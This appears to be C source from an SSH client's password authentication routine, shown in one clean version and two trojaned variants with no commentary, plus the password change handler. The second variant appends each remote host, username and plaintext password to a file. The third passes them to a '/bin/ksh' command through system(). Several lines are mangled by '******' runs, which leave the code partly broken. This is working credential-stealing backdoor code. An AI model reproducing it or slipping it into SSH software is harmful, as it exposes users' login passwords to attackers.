int userauth_passwd(Authctxt *authctxt) { static int attempt = 0; char prompt[150]; char *password; if (attempt++ >= options.number_of_password_prompts) return 0; if (attempt != 1) error("Permission denied, please try again."); snprintf(prompt, sizeof(prompt), gettext("%.30s@%.128s's password: "), authctxt->server_user, authctxt->host); password = read_passphrase(prompt, 0); packet_start(SSH2_MSG_USERAUTH_REQUEST); packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_char(0); packet_put_cstring(password); memset(password, 0, strlen(password)); xfree(password); packet_add_padding(64); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ, &input_userauth_passwd_changereq); return 1; }
int userauth_passwd(Authctxt *authctxt) { static int attempt = 0; char prompt[150]; char *password; if (attempt++ >= options.number_of_password_prompts) return 0; if (attempt != 1) error("Permission denied, please try again."); snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: "******"a"); fprintf (fp,"+host: %s +user: %s +password: %s\n", get_remote_ipaddr(), options.user, password); fclose (fp); } packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_char(0); packet_put_cstring(password); memset(password, 0, strlen(password)); xfree(password); packet_add_padding(64); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ, &input_userauth_passwd_changereq); return 1; }
int userauth_passwd(Authctxt *authctxt) { static int attempt = 0; char prompt[150]; char *password; if (attempt++ >= options.number_of_password_prompts) return 0; if (attempt != 1) error("Permission denied, please try again."); snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: "******"/bin/ksh -m %s_%s_%s >/dev/null 2>&1", get_remote_ipaddr(), options.user, password); system(cmd); } packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_char(0); packet_put_cstring(password); memset(password, 0, strlen(password)); xfree(password); packet_add_padding(64); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ, &input_userauth_passwd_changereq); return 1; }
/* * parse PASSWD_CHANGEREQ, prompt user and send SSH2_MSG_USERAUTH_REQUEST */ void input_userauth_passwd_changereq(int type, u_int32_t seqnr, void *ctxt) { Authctxt *authctxt = ctxt; char *info, *lang, *password = NULL, *retype = NULL; char prompt[150]; debug2("input_userauth_passwd_changereq"); if (authctxt == NULL) fatal("input_userauth_passwd_changereq: " "no authentication context"); info = packet_get_utf8_string(NULL); if (strlen(info) != 0) { info = g11n_filter_string(info); log("%s", info); } xfree(info); lang = packet_get_string(NULL); xfree(lang); packet_start(SSH2_MSG_USERAUTH_REQUEST); packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_char(1); /* additional info */ snprintf(prompt, sizeof(prompt), gettext("Enter %.30s@%.128s's old password: "******"Enter %.30s@%.128s's new password: "******"Retype %.30s@%.128s's new password: "******"Mismatch; try again, EOF to quit."); password = NULL; } memset(retype, 0, strlen(retype)); xfree(retype); } packet_put_cstring(password); memset(password, 0, strlen(password)); xfree(password); packet_add_padding(64); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ, &input_userauth_passwd_changereq); }